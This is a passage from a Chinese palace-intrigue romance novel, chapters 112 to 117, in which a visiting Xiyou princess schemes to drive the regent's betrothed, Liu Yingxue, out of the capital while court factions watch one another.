司云熠勉强扯出一抹笑容,眼角的疲惫却怎么也掩饰不住。“多谢皇妹挂念,我已经好多了。这青云国的医术确实高明,比我们西幽国的御医都要精湛许多。” 这话一出,司微澜眼中闪过一丝不悦。方才她谦逊地承认青云国医术高明是一回事,但由司云熠亲口说出来,就是另一番意味了。她下意识地攥紧了手中的帕子,指节微微泛白。 “既然六皇弟无碍,那就不必劳烦三皇子了。”二皇子司徽风冷淡地瞥了司云熠一眼,语气中带着几分不屑,“这老毛病休养几日便好。” 司云熠宽大的袖袍下,手指紧紧攥成拳头,但脸上依旧保持着温和的笑意。他轻声道:“二皇兄说得对,不必麻烦三皇子。” 一旁的吴大人看着这一幕,眉头微微皱起。虽然西幽国使团的人都已到齐,但看着司云熠那苍白的面色,他心里还是有些担忧。若是六皇子在青云国出了什么意外,他也难辞其咎。 “六皇子,要不还是让御医来看看吧?”吴大人试探着问道,“青云国的御医医术高明,或许能......” “多谢吴大人好意,但确实不必了。”司云熠态度坚决地打断了他的话,眼神中闪过一丝不易察觉的警惕。 吴大人见状,也不好再多说什么,只得与三皇子一同告辞离开。临走前,他还是忍不住回头看了一眼司云熠,心中总觉得有什么地方不对劲。 待人走后,司云熠脸上的笑容瞬间消失,眼神变得冰冷如霜。他看着司微澜离去的背影,嘴角勾起一抹冷笑。这位幽妹的关心,不过是做给外人看的戏罢了。 “六皇子,他们......”侍卫愤愤不平地开口,眼中满是怒火。 “不必说了。”司云熠抬手制止道,声音低沉,“把药坊的药藏好,将西幽带来的药放在明处。每日按时熬制药坊的药,明面上的药也要做做样子,别让人起疑。” “是。”侍卫应声,但眼中的担忧却怎么也掩饰不住。 司云熠缓步走到窗前,看着院子里那株开得正艳的海棠。花瓣上还沾着晨露,在阳光下闪烁着点点光芒。他伸手轻轻触碰花瓣,却不小心将一片花瓣碰落。 “六皇子,您的身体......”侍卫欲言又止。 司云熠收回手,淡淡道:“无妨,不过是些小伤罢了。” 话虽如此,但他的脸色却比方才更加苍白了几分。他扶着窗框的手微微颤抖,额头上也渗出了细密的汗珠。 另一边,柳映雪坐在马车里,听着外面的市井喧嚣,突然有了出去逛逛的心思。这几日一直被关在清溪居里,难得有机会透透气。街上传来阵阵吆喝声,混杂着各种香气,让人忍不住想要一探究竟。 她掀开车帘,看着街上熙熙攘攘的人群,满脸向往的神色。“停车吧。”她吩咐道。 车夫将马车停在凤栖楼前,柳映雪带着两个丫鬟下了马车。街上的小贩们正热情地吆喝着,空气中飘散着各种小吃的香气。 “青莲,去给我买只糖人兔子吧。”柳映雪想起上次那只还未来得及品尝的糖人,眼中闪过一丝可惜。那只糖人兔子做得极为精致,可惜还未尝到就被打碎了。 青莲应声而去,柳映雪则站在街边,看着来来往往的行人。忽然,一个瘦得像竹竿似的人挡在她面前,面色不善。 “可算让小爷找到你了!”那人气急败坏地说道,脸上带着几分怨气,“上次骗了小爷,今日看我怎么收拾你!” 柳映雪愣了一下,这声音怎么这么耳熟?仔细一看,这不就是那华国公府的小公子吗?只是......怎么瘦成这样了?他原本虽然也不算胖,但也不至于瘦成这副模样。 她不禁开始怀疑自己上次是不是真的在药粉上手重了。看着小公爷那副憔悴的模样,她心中有些愧疚,但更多的是无奈。 “小公爷,您这是......” “还装傻!”小公爷打断她的话,指着自己瘦削的脸,“你给我下的什么药?害得小爷这些日子吃什么吐什么,整个人都快瘦脱相了!” 柳映雪看着他那副愤怒的样子,一时不知该如何解释。她确实在药粉中加了些泻药,但也不至于让人瘦成这样啊。难道是这位小公爷的体质特殊? 就在这时,青莲拿着糖人回来了。看到这一幕,她连忙上前护住自家小姐。“你是什么人?竟敢对我家小姐无礼!” 小公爷冷笑一声:“你家小姐?好啊,原来是个大户人家的小姐。怪不得敢这么耍弄本公爷!” 周围的行人被这阵势吸引,纷纷驻足观望。有人认出了小公爷的身份,低声议论起来。 柳映雪见状,知道不能再这样下去。若是闹大了,对谁都不好。她压低声音道:“小公爷,有什么话我们找个安静的地方说,如何?” 小公爷却不依不饶:“怎么?现在知道怕了?早干什么去了!” 就在这时,一个熟悉的声音传来:“这是怎么了?” 柳映雪转头一看,只见萧云熙正站在不远处,面带微笑地看着这边。 街边的茶摊前,五皇子萧云熙正打量着面前瘦骨嶙峋的男子。茶香袅袅升起,与街市的喧嚣交织在一起。茶摊老板正低头忙碌,时不时抬眼偷瞄这群不寻常的客人。 第一百一十二章 萧云熙解决麻烦 “你说你是华国公府的人?”萧云熙端起茶盏,目光在对方身上逡巡。这人虽衣着华贵,但面容憔悴,眼窝深陷,与华国公府一贯的奢靡作风大相径庭。 那男子双手微颤,连忙拱手,“回五公子的话,在下正是华国公府嫡子。”说话时,他的目光不时飘向一旁的柳映雪,眼中闪过几分怨毒。 “华小公爷?”萧云熙眉头微皱,放下茶盏。瓷器与木桌相碰,发出清脆的响声。 柳映雪静静坐在一旁。她记得这位华小公爷,前些日子在街上冲撞了她的马车,还口出狂言。若不是梅枝和青莲及时拦住,这人怕是要闹出更大的动静。 街角突然传来一阵整齐的脚步声,打破了茶摊前的沉寂。三道身影渐渐走近,阳光下,为首者一袭红衣格外醒目。 “这么热闹啊?”玉太子笑着开口,目光扫过在场众人,最后停在柳映雪身上,“柳大小姐也在呢。” 他身旁的东玉琳一手拿着糖葫芦,一手捏着糖人,脸颊被甜食染得红扑扑的。看到柳映雪,她立刻欢快地喊道:“姐姐!” 柳映雪看着这对组合,嘴角不自觉地上扬。这段时日,这两人倒是处得不错。玉太子虽出身尊贵,却不摆架子,而东玉琳天真烂漫,两人相处倒像一对普通的兄妹。 “五公子。”玉太子朝萧云熙拱手,红衣随着他的动作轻轻摆动。 “玉公子。”萧云熙起身回礼。两人在外游历时曾有过一面之缘,虽然交集不多,但彼此印象不错。 茶摊老板见又来了贵客,连忙端上新沏的茶。热气腾腾中,玉太子开口道:“许久不见,不如待会一起喝两杯?” 萧云熙点头应下,目光却时不时瞥向柳映雪。他没想到上次在街上偶遇的那个有趣女子,竟是九皇叔的未来王妃。这个认知让他心头泛起一丝难以名状的情绪。 玉太子敏锐地注意到气氛有些不对,打量了一圈后目光落在华小公爷身上。这人面色发青,额头冒汗,明显心虚得很。 “这位瘦竹竿似的兄台,莫非是得罪了哪位贵人?”玉太子漫不经心地问道,语气中带着几分玩味。 东玉琳咬了一口糖葫芦,见梅枝和青莲护在柳映雪身前的架势,立马明白过来:“你敢欺负我姐姐?”她气鼓鼓地瞪着华小公爷。 “小丫头,别这么冲动。”玉太子把她拉到身后,眼中闪过一丝笑意。 华小公爷见形势不妙,连忙解释:“是在下冒犯了柳大小姐,还请见谅。”他的声音颤抖,额头的汗珠越来越多。 “哦?”玉太子来了兴致,端起茶盏轻啜一口,“你可知道这位柳大小姐的身份?就是前些日子传得沸沸扬扬的摄政王未来王妃。” 这话一出,茶摊周围瞬间安静下来。路过的行人纷纷驻足,用好奇的目光打量着这一幕。华小公爷脸色瞬间惨白,摄政王萧寒瑾的威名谁人不知?那可是连皇帝都要礼让三分的存在。 他只觉得双腿发软,扑通一声跪在地上:“小人有眼无珠,还请王妃饶命!”声音中带着明显的哭腔。 柳映雪看他吓得不轻,轻叹一声:“起来吧,下不为例。”她并非嗜杀之人,况且这种小事也不值得兴师动众。 华小公爷如蒙大赦,连滚带爬地离开了。街边的围观者见戏看完了,也渐渐散去。 就在这时,一阵急促的马蹄声由远及近。绿风从马上跳下,快步走到茶摊前:“柳大小姐,王爷请您回府。” 柳映雪眼前一亮,心跳不自觉加快了几分。萧寒瑾终于回来了吗?这些日子他在边关处理军务,府中少了他的身影,总觉得少了些什么。 “那我先告辞了。”她向众人行礼,裙摆轻摆间带起一阵清风。 玉太子笑着点头:“柳大小姐慢走。” 东玉琳依依不舍地挥手:“姐姐再见!” 萧云熙目送柳映雪上了马车,眼中闪过一丝复杂的情绪。他端起茶盏,茶已经凉了。 马车在街道上缓缓前行,柳映雪透过车窗看着外面熙熙攘攘的街景。突然,马车一个急停。 “怎么了?”她掀开车帘问道。 就听见一道清亮的女声从前方传来:“在下奉西幽国公主之命送拜帖,公主与二皇子后日欲来拜访。” “王爷状态不佳,恕不接客。”守门侍卫回绝道。语气虽然客气,但态度坚决。 柳映雪目光微沉。西幽国公主?她倒要看看,这位远道而来的公主,究竟有何目的。最近朝中暗流涌动,这位公主的到来,恐怕不会这么简单。 马车重新启动,柳映雪靠在软垫上,思绪万千。府中的侍女们正在院子里忙碌,显然是在为王爷回府做准备。 远处的钟楼传来悠扬的钟声,惊起一群飞鸟。柳映雪望着渐渐西斜的太阳,心中泛起一丝期待。不知道这次见面,萧寒瑾会带来什么样的消息。 第一百一十三章 西幽国公主的拜帖 马车缓缓驶近摄政王府大门,车轮碾过青石板路面发出细微的声响。门前两排威武的侍卫笔直站立,目不斜视。 一名身着红衣的女子快步迎上前来,她的步伐轻盈却不失稳重,显然受过良好的训练。 “属下是西幽国司微澜公主的侍卫青珑。”青珑微微欠身,语气中带着几分骄傲,“公主与二皇子打算后天去探望摄政王,特意备了昆仑玉莲,这是拜帖。” 马车内,柳映雪听到“昆仑玉莲”四个字时,纤细的手指不自觉地攥紧了衣袖。她望着车窗外那抹刺目的红色,眉头微微蹙起。这位素未谋面的西幽公主,竟然要送如此贵重的礼物? “昆仑玉莲不适合王爷。”她的声音冷若寒冰,“绿风,回府。” 绿风会意,立即驾车入府。沉重的朱漆大门在身后缓缓合拢,发出一声闷响。 青珑愣在原地,脑海中回响着方才那道清冷的女声。她环顾四周,发现侍卫们的表情丝毫未变,显然对这一幕习以为常。摄政王府中竟有女子出入?这可是个大消息。 马车内,柳映雪抿着唇不说话。她虽然嘴上说着昆仑玉莲不适合,但心里已经开始盘算着要在空间里种上一大片。让那位公主知道,昆仑玉莲并非她独有。 “小姐...”青莲和梅枝对视一眼,都不敢开口打破这份沉默。她们跟随小姐多年,太了解这位看似温婉的主子实则倔强的性子。 马车在书房前停下,萧寒瑾早已等在那里。他一身玄色锦袍,衣袂随风轻扬,整个人如同一幅水墨画般清雅出尘。看到柳映雪撅着小嘴走下马车,嘴角微翘。 绿风快步上前,将门口发生的事情低声禀报。 “以后这种拜帖,一律不必理会。”萧寒瑾淡淡吩咐,语气中带着不容置疑。 待下人都退下后,他走到柳映雪面前,目光温柔,“雪儿这是吃醋了?” “谁吃醋了!”柳映雪瞪了他一眼,“我是医者,自然知道什么补品适合你。昆仑玉莲药性太烈,你现在根本用不着。” 萧寒瑾轻笑,伸手轻抚她的发丝,“好,都听雪儿的。” 他牵起她的手,掌心传来温暖的触感,“来,我有样东西要给你看。” 书房内,檀香袅袅,柳映雪看到桌上那只精巧的手镯,眼睛一亮。她拿起来仔细端详,发现镯身雕刻着繁复的花纹,里面暗藏机关,可以发射银针。 “这是我特意为你设计的。”萧寒瑾柔声道,目光中带着几分宠溺,“里面还有几个暗格,你可以放些防身的东西。” 柳映雪爱不释手,方才的不快早已抛到脑后。她第一时间就想到可以在暗格里放些毒药,这样就不用总是从空间里取了。手镯在阳光下泛着淡淡的光泽,每一处细节都显示出匠人的用心。 “谢谢。”她由衷道谢,眼中闪烁着欢喜的光芒,“你这次出门还顺利吗?” “一切都好。”萧寒瑾望着她专注把玩手镯的模样,眼底浮现出一抹温柔。 与此同时,玉华四方馆中。 司微澜站在窗前,手中把玩着一支金簪,神色间带着几分焦躁。屋内檀香缭绕,却掩不住她内心的不安。 “二皇兄,你是说赤凰剑可能在柳大小姐手中?”她转身问道,语气中带着几分急切。 司徽风坐在案前,手中的茶盏已经凉透。他摇头,“只是怀疑,但她功力平平,应该不太可能。不过任何线索都不能放过。” “不如找人试探她一番?”司微澜眼中闪着狠厉,“在生死关头,人往往会暴露真面目。” “不行,”司徽风果断否决,放下茶盏时发出清脆的声响,“摄政王对这位未来王妃极为在意,若我们动手,必遭他报复。” “王妃?”司微澜不敢置信,手中的金簪差点掉落,“不过是皇上赐婚罢了,摄政王未必就会接受。”她走到司徽风面前,眼中带着几分不甘。 “我亲眼见过他们站在一起,郎才女貌,天造地设。”司徽风叹了口气,“妹妹,有些事情你要看清楚。” “二皇兄!”司微澜急道,指节因用力而发白,“你又不是不知道摄政王的性子,他向来我行我素,怎会轻易接受赐婚?” 司徽风看着执迷不悟的妹妹,只能无奈摇头。有些事,只有亲眼所见才会相信。 “对了,我让青珑送拜帖去了,后日我们一同去拜访摄政王。”司微澜整理了一下情绪,语气重新变得轻快,“我带了父皇赐的昆仑玉莲,正好送给他调养身子。” “什么?”司徽风惊道,转身看向妹妹,“那可是连太子都没有的宝贝,你怎能轻易送人?” “有什么关系?”司微澜微微一笑,“只要能见到摄政王,这点代价算什么?” 司徽风看着妹妹的笑容,心中升起一丝不安。他太了解这个从小娇生惯养的妹妹,一旦认定的事情,就一定要做到。可是这次,恐怕不会如她所愿。 夜色渐深,摄政王府的书房内依旧灯火通明。 柳映雪坐在案前翻看医书,手腕上的新镯子在烛光下泛着柔和的光芒。萧寒瑾就坐在她对面处理公务,时不时抬头看她一眼。 “王爷。”绿风在门外轻声禀报,“探子来报,西幽国的司微澜公主似乎对您...” “不必说了。”萧寒瑾抬手打断,目光落在专心看书的柳映雪身上,“该处理的自会处理。” 柳映雪装作没听见,但手中的书页却迟迟没有翻动。她想起今日那位红衣侍卫,还有那份被拒绝的拜帖,心中泛起一丝涟漪。 司微澜望着手中的昆仑玉莲,莹白的花瓣在阳光下散发着淡淡的光晕。她纤细的手指轻轻抚过花瓣,仿佛在抚摸一件稀世珍玉。 “二皇兄,这雪莲本就是我要送给摄政王的,你又何必阻拦?”她的声音清冷如玉,却掩不住一丝倔强。 第一百一十四章 拒绝 司徽风站在窗边,看着院中飘落的花瓣,眉头紧锁。阳光透过窗棂,在他俊朗的脸上投下斑驳的光影。他转过身,目光落在妹妹身上,“皇妹,你与摄政王素未谋面,何必如此着急?” “素未谋面又如何?”司微澜的手指在雪莲花瓣上微微用力,“我此番来青云国,不就是为了嫁给他吗?” 房间里一时陷入沉默,只有窗外传来几声鸟鸣。 “皇妹,你太天真了。”司徽风走到书案前,给自己倒了杯茶,茶香在室内缓缓散开,“青云国皇帝不会同意的。你没看到今日三皇子的眼神吗?他对你...” 话未说完,就被司微澜打断。 “三皇子?”她冷笑一声,声音里带着几分讥讽,“不过是个想借我之力登上皇位的可怜人罢了。” 她放下雪莲,缓步走到窗前。晓日的阳光温暖而不刺眼,照在她白皙的脸上,为她添了几分柔和。但她的眼神却依旧冷峻。 “二皇兄,你觉得我会看不出他们的心思吗?”她的手指轻轻敲击着窗框,“若我真嫁给三皇子,他日他登基为帝,第一个要除掉的就是我这个异国公主。” 司徽风暗暗点头,放下手中的茶盏。茶水已经凉了,但他似乎并未察觉。至少在这件事上,妹妹看得很清楚。 就在这时,房门被轻轻叩响。声音不大,却让室内两人同时转头。 “进来。”司微澜的声音依旧平静。 青珑推门而入,裙摆轻拂过地面。她行了一礼,声音低沉,“公主,二皇子,摄政王府拒绝了拜帖。” 司微澜的手指微微一颤,但很快就恢复如常,“为何?” “说是王爷身体不适,不便见客。”青珑顿了顿,“属下在门口碰见了一辆驶入府中的马车,想告知昆仑玉莲之事,却听到车内传来女子声音,说雪莲不适合王爷。” “砰!” 茶盏碎裂的声音在房间内格外清晰。碎片四散,茶水溅在地上,晕开一片深色的痕迹。 司微澜的手指被碎片划破,一丝血痕渗出。她却仿佛感觉不到疼痛,只是冷冷地问:“是谁家的女子,竟敢随意出入摄政王府?” 青珑低着头,声音更低了,“是绿风护卫亲自驾车。” 司徽风见妹妹脸色不对,连忙上前一步,“应该是柳大小姐,她将成为未来的摄政王妃。” “将来的摄政王妃?”司微澜眼中闪着寒意,声音里带着几分嘲讽,“在青云国,未出阁的女子怎能随意出入男子府邸?就算是未来的王妃,也该注意名声才是。” 她的目光落在青珑身上,声音冷得像冰,“去查查那位柳大小姐的底细,特别是她的母亲。” 青珑领命而去,脚步声渐渐远去。 司徽风看着妹妹阴晴不定的脸色,心中一紧。他走到妹妹身边,轻声道:“皇妹,我们初来乍到,不可轻举妄动。” “二皇兄放心,”司微澜展颜一笑,只是那笑容未能传递到眼底,“我只是想了解一下未来的情敌罢了。” 摄政王府。 “王爷,太傅府秦大人求见,想请华神医为秦大小姐看脸上的伤。”绿风的声音从门外传来。 萧寒瑾眉头微皱,放下手中的朱笔,“让他直接去找华神医,这等小事不必来烦我。” 绿风领命退下,脚步声渐渐远去,留下一室静谧。 夜色深沉,月光如水般倾泻而下。 柳映雪躺在床榻上辗转难眠,脑海中不断回荡着方才听到的消息。她翻了个身,目光透过纱帐落在案前的身影上。 秦大小姐,秦玉华。 那日的烫伤岂是轻易能好?就算伤势痊愈,那狰狞的疤痕又该如何消除?想到那张曾经倾城的容颜如今毁于一旦,柳映雪心中不禁泛起一丝异样的情绪。 烛光摇曳,映照着萧寒瑾专注批阅的侧脸。他眉目如画,举手投足间尽显贵气,只是那双眼眸深处,似乎藏着常人难以窥探的深意。 “萧寒瑾。”她轻声唤道,声音里带着几分试探。 案前的人动作一顿,抬眸时眼中已含着温柔笑意,“雪儿怎么还不休息?” 柳映雪撑起身子,纱帐轻轻晃动。“我听说秦玉华毁容了,三皇子真的还要娶她?” “秦帝师已经主动请旨,让秦玉华降为侧妃。”萧寒瑾将手中的折子放下,目光落在她脸上,“不日就要入府了。” 柳映雪眉头微蹙。自请降为侧妃?那日的连环设计,难道就是为了这个结果?她想起前些日子听闻的消息,三皇子亲自前往迎接西幽国的公主,这其中怕是另有隐情。 “雪儿在想什么?”萧寒瑾起身,缓步走到床边。 月光透过窗棂洒落在地,在他身上投下斑驳的影子。柳映雪抬头看他,“皇上不会让皇子娶个毁容的女子做正妃,秦帝师深知这一点,因此才主动请示降为侧妃。”她冷笑一声,“总比直接取消婚约强,至少还能攀上皇亲国戚。” “三皇子同意娶个毁了容的女子,看来秦帝师的影响力不小。”她又补充道。 萧寒瑾在床边坐下,伸手为她掖了掖被角。“秦帝师在朝中根基深厚,门生遍布朝堂。三皇子自然要顾及这层关系。” “呵,这三皇子打的好算盘。”柳映雪语气里带着几分不屑,“或许毁容也是他的一番心思。” “这盘棋,不是他一个人在下。”萧寒瑾意味深长地说道。 “还有谁?” “荀王府的萧生玉。”萧寒瑾道,“二人自幼交好,萧生玉素来擅长谋略,三皇子能有今日,他的功劳是不可或缺的。” 柳映雪神色微动,“三皇子就不怕他反水?” “应该不会。”萧寒瑾摇头,目光微微远眺,“萧生玉这些年一直在寻一个人,对朝堂之事并无太大兴趣。” “找人?找谁?” “小时候的一个人。”萧寒瑾语气平淡,却让人感觉其中另有深意。 柳映雪以为是什么故交好友,也就没再追问。她转而说起另一件事,“我收了闵芊羽做属下。” 第一百一十五章 危机四伏 萧寒瑾沉吟片刻,眸色渐深,“绿雪冒死回报,说巫域人与西幽国勾结,意图对我下手。看来新上位的凤张野心不小。” 柳映雪神色一凛,下意识坐直了身子,“他们打算怎么对你出手?” “用蛊虫控制。” “他们究竟想做什么?”她声音里带着几分焦急。 “具体目的尚未查明。”萧寒瑾道,“无非是想谋取更多利益。” 柳映雪不由担忧,伸手抓住他的衣袖,“你以后要当心饮食,别让他们有机可乘。” 萧寒瑾眼中笑意更深,抬手轻轻抚上她的发,“雪儿放心,王府戒备森严,他们动不了手脚。” “那华神医呢?”柳映雪蹙眉问道,“他在府中终究是个隐患。” “他与皇上有交易,还与南安国保持联系。”萧寒瑾道,“此人行事谨慎,最终目的尚未暴露,暂且留他几日无妨。” 柳映雪眼中闪过狡黠,唇角勾起一抹笑意,“他最近可有什么异常?” “绿风说他时常独自傻笑。” “这才刚开始。”柳映雪得意一笑,“以后症状会越来越重,不过他的神智会保持清醒,不会耽误你的事。” 萧寒瑾宠溺地看着她,伸手轻轻捏了捏她的脸颊,“无妨,只要雪儿开心就好。” 若非此人还有用处,他早就不会留着华神医。就凭他背叛的行径,能多活几日已是恩赐。 “他不是悬壶山庄的神医吗?”柳映雪有些失望地撇了撇嘴,“连这点毒都解不了。” “并非人人都有雪儿这般高超的医术。”萧寒瑾轻笑。 柳映雪叹了口气,原本还想找人切磋医术,看来只能暂且作罢。她靠在床头,目光落在窗外的月色上,若有所思。 “对了,”她忽然想起什么,“今日在街上看到一个奇怪的人。” “嗯?”萧寒瑾示意她继续说。 “那人穿着一身黑衣,戴着面具,在药铺门口徘徊许久。”柳映雪回忆道,“我总觉得他的身形有些眼熟。” 萧寒瑾眸色微动,“可看清那面具的样式?” “是一个青铜面具,上面刻着古怪的纹路。”柳映雪说着,眉头微蹙,“那人似乎在找什么东西,但最后空手而归。” “最近城中确实多了些可疑的人。”萧寒瑾若有所思,“雪儿以后出门要多加小心。” “我知道。”柳映雪点头,“不过那人给我的感觉很奇怪,就像...就像在哪里见过一样。” 萧寒瑾目光微沉,“或许是江湖中人。最近各方势力蠢蠢欲动,难免会有些陌生面孔出现。” “会不会与巫域有关?”柳映雪猜测。 “不排除这种可能。”萧寒瑾道,“我已让人暗中调查。” 柳映雪点点头,又想起另一件事,“今日在街上还遇到了一个卖药的老妇人,她说自己有一味奇药,可以治疗各种疑难杂症。” “雪儿没有买吧?”萧寒瑾问道。 “当然没有。”柳映雪摇头,“不过那老妇人说话时的神情很古怪,好像在暗示什么。” 萧寒瑾眸色一沉,“最近这些事,恐怕都不是巧合。” “你是说...”柳映雪若有所思。 “有人在暗中布局。”萧寒瑾道,“只是还不知道他们的真正目的。” 柳映雪心中一紧,下意识抓住他的手,“你要小心。” 萧寒瑾反手握住她的手,“有雪儿在,我自然会小心。” 窗外月色渐淡,夜色愈发深沉。柳映雪靠在萧寒瑾肩上,心中思绪万千。这些突然出现的异常,究竟预示着什么? 阴云密布的天空下,四皇子府内一片肃穆。 “秦帝师已经完全倒向三皇子那边了。”下人匍匐在地,声音压得极低,仿佛生怕惊扰了府中的宁静。 四皇子站在窗前,手指轻轻敲击着窗棂。窗外的梧桐叶被风卷起,在空中打着旋儿。他望着那些飘零的落叶,嘴角勾起一抹冷笑:“秦家的态度从来就没变过。” 他转过身,目光如刀般锐利:“秦大小姐本是三皇兄的正妃人选,如今虽降为侧妃,但秦帝师为了维系这层关系,只会比以前更维护三皇兄。” “殿下英明。”下人的额头几乎贴到地面,“那我们接下来...” “静观其变。”四皇子的声音陡然冷了下来,“派人盯紧西幽公主的一举一动。这位公主来得蹊跷,背后必有文章。” “是。”下人应声退下,脚步轻得几乎听不见声响。 四皇子独自立在窗前,手中把玩着一枚玉佩。那是母妃留给他的唯一遗物。玉佩温润如水,却映照出他眼中翻涌的暗潮。朝堂上的局势愈发复杂,而这个突然到访的西幽公主,无疑又添了一把火。 与此同时,明德殿内的气氛更是凝重。 “放肆!”皇上一掌拍在龙案上,震得案上的奏折纷纷滑落,茶盏也跳动着发出清脆的响声。他的脸色阴沉得可怕,“这西幽公主好大的胆子,朕还未召见,她倒是先想着去见摄政王?” 跪在地上的暗枭浑身一颤,额头的冷汗顺着脸颊滑落:“回皇上,这西幽公主似乎...似乎是冲着摄政王而来。” “哼。”皇上冷哼一声,起身在明德殿内来回踱步。龙袍的下摆扫过地面,发出沙沙的声响。“她以为这是西幽国吗?想嫁谁就嫁谁?若朕不同意和亲,她只能乖乖地回去。青云国岂是她挑三拣四的地方?” 暗枭不敢抬头,只能听着皇上的脚步声在房内回荡。突然,脚步声停了。 “九皇弟不是有王妃了吗?”皇上的声音里带着几分玩味,“倒是可以用这西幽公主试探试探他对柳大小姐的真心。” 暗枭的心猛地一跳。这局势,怕是要更加复杂了。 “你先下去吧。”皇上重新坐回龙椅,“盯紧摄政王府,若有任何异常随时来报。” “是。”暗枭退出明德殿,心中暗叹。这朝堂之上,又要掀起一场风波了。 第一百一十六章 司微澜的算计 玉华四方馆内,气氛同样凝重。 “公主,属下已经查清楚了。”青珑跪在地上,声音轻柔却带着几分急切,“柳大小姐自从离开丞相府后,一直住在城郊的清溪居。那处宅院是朱氏所买。” 司微澜坐在主位上,纤细的手指摩挲着茶盏。热气氤氲中,她的眉头微蹙:“她今日可曾出门?” “出门是出门了,但去向无人知晓。”青珑低着头,语气中带着几分懊恼,“那清溪居的下人守口如瓶,属下用银子也撬不开他们的嘴。” “有意思。”一旁的司徽风轻笑出声,“这柳大小姐倒是会调教下人。看来,她也不是表面上看起来那般简单。” 青珑继续道:“属下又去查了朱氏的消息。京都城的凤栖楼是朱氏的产业,她最近在给新府邸做修整。不过...” “不过什么?”司微澜的声音陡然提高。 “几日前,有几辆马车在柳大小姐清溪居前停留许久。”青珑的声音更低了,“之后就再也没人见过朱氏的踪影,属下怀疑她已经离开京都城了。” 司微澜的手指猛地收紧,茶盏中的水面泛起涟漪:“一个和离的女人,能去哪?” “或许是回云州了。”司徽风站起身,在房内踱步,“柳丞相是云州人士,当年也是在云州与朱氏成亲。那里是她的根基所在。” “云州...”司微澜的目光变得深邃,“她一个人不可能贸然离开,柳映雪还在京都城...” “公主。”青珑突然开口,声音中带着几分犹豫,“那日朱氏和离,是摄政王亲自到丞相府协助的。柳大小姐断亲那日,摄政王也在场。” 司微澜猛地攥紧了手指,指节泛白。茶盏“啪”的一声碎裂,滚烫的茶水溅在桌案上,却浇不灭她心中的怒火。 她早该想到的。 那个向来冷漠的摄政王,为何会对一个丞相府的小姐如此上心? 司微澜眸光闪烁,纤细的手指轻轻摩挲着手中精致的青瓷茶盏。 她的目光落在茶水泛起的涟漪上,唇角勾起一抹若有若无的笑意。这笑容看似温婉,却透着几分算计的意味。 “青珑。”她轻声唤道。 “奴婢在。”青珑立刻从屏风后走出,恭敬地垂首。 “去把朱氏回云州的消息送到丞相府。”司微澜的声音轻柔,却带着不容置疑的命令。 一旁的司徽风皱眉,他放下手中的茶盏,目光凝重地看向妹妹。茶香在空气中缓缓飘散,却驱散不了他心中的疑虑。 “皇妹,朱氏是否回云州尚未确定,即便回去了,告知丞相又有何用?”他的语气中带着几分担忧。 “皇兄不必担心。”司微澜放下茶盏,瓷器与木桌相碰发出清脆的响声。“朱氏此番回云州,必有要事。至于丞相那边,不过是撒下一颗棋子罢了。” 司徽风若有所思地看着妹妹,指尖轻轻敲击着桌面。“你是想...” “若丞相无动于衷也就罢了。”司微澜起身走到窗前,阳光勾勒出她优雅的侧影,“若他派人寻朱氏的麻烦,我们便可告知柳映雪。她定会赶去云州救母。” 说到这里,她转过身,裙摆在地上划出一道优美的弧线。“皇兄觉得,以柳映雪的性子,她会坐视不理吗?” 司徽风恍然大悟。“你是想让柳映雪离开京都城。” “正是。”司微澜眸光微冷,纤细的手指抚过窗棂上的雕花,“只有她离开,摄政王的目光才会从她身上移开。” “皇妹还是喜欢借刀杀人。”司徽风摇头,语气中带着几分无奈,“可若丞相不上钩呢?” “那便让他不得不上钩。”司微澜语气坚定,声音狠厉,“柳映雪,必须离开京都城。” 她走回桌前,给自己斟了一杯茶。热气袅袅升起,在她白皙的脸庞上投下朦胧的雾气。 “皇妹要当心,这柳映雪不似寻常闺秀。”司徽风提醒道,“她能得摄政王青睐,必有过人之处。” “感谢皇兄的提示。”司微澜抿了一口茶,“我自有分寸,就算她有通天之能,也查不到我身上。” 另一边,丞相府的书房内,气氛凝重。 柳丞相病愈后,第一件事便是召见两个儿子问询学业。书房内檀香袅袅,案几上摆着几本翻开的典籍。 柳明轩的表现尚可,回答中规中矩。倒是柳逸铭,每一个问题都对答如流,展现出超乎寻常的天资。 看着小儿子答对每一个问题,柳丞相眼中满是欣慰。阳光透过窗棂,在他略显苍白的脸上投下温暖的光晕。 然而,柳逸铭却显得心不在焉,目光不时瞥向大哥。他的手指无意识地绞着衣袖,似乎有什么话想说却又难以开口。 柳丞相敏锐地察觉到小儿子的异样,便让柳明轩先行离开。待长子离开后,书房内的气氛更加凝重。 “逸铭有话要说?”柳丞相放下手中的书卷,目光温和地看向小儿子。 柳逸铭抿了抿唇,手指依旧在衣袖上摩挲。“父亲莫要生气,孩儿想说大姐的事。” 此言一出,柳丞相的脸色瞬间阴沉下来。“提她作甚?她已与本府断绝关系。” “父亲,夫子常说,天下无不是的父母...”柳逸铭小心翼翼道,声音越来越低,“大姐如今得摄政王青睐,日后或可...” 话未说完,贴身老仆司叔匆匆进来,打断了这尴尬的对话。 “逸铭先回去吧。”柳丞相挥手,目光已经转向司叔。 待柳逸铭离开,司叔压低声音道:“相爷,云州司空府在筹备大少爷婚事。” “司马澄要成亲?”柳丞相眉头紧皱,手指下意识地敲击着桌面。 “还有...”司叔迟疑片刻,似乎在斟酌用词,“朱氏回云州了。” “什么?”柳丞相猛地站起,椅子在地上划出刺耳的声响。他的脸色瞬间变得铁青,“你是说,朱雅芸要嫁给司马澄?” 第一百一十七章 暗杀朱氏 “老奴不敢确定,但时机太过巧合。”司叔低着头,不敢直视主子愤怒的目光。 “好一个朱雅芸!”柳丞相怒极,一把将桌上的茶盏摔在地上。青瓷碎片四散,茶水溅在地上,如同他此刻破碎的心情。“原来早与司马澄勾搭上了!这些年,本相竟被蒙在鼓里!” 司叔看着地上的碎片,欲言又止。最终,他还是鼓起勇气开口:“相爷,朱氏在府中一向安分,从未与司马澄来往...” 柳丞相充耳不闻,在书房内来回踱步。阳光透过窗棂,将他的身影投射在地上,显得格外暴躁不安。 他的眼中怒火越烧越旺,手指紧握成拳。多年来积压的怒意此刻如同火山喷发,再也无法压制。 书房内的气氛越发凝重,连窗外的鸟鸣声都显得格外刺耳。司叔站在一旁,大气都不敢出,只能眼睁睁看着主子陷入暴怒的情绪中。 他的目光如刀般盯着面前的老奴,手指无意识地摩挲着桌案上的玉佩,声音里带着压抑的怒火:“孙掌柜每次来丞府,都带着账册。谁知道那账册里,是不是藏着他们的私信?” 司叔额头上的皱纹堆得更深了,他看着主子阴沉的面色,急得直跺脚:“老爷!这都是猜测啊。凤栖楼开张这么多年,孙掌柜每月都要来送账册,这是规矩。没有证据的事情可不能乱来啊!” 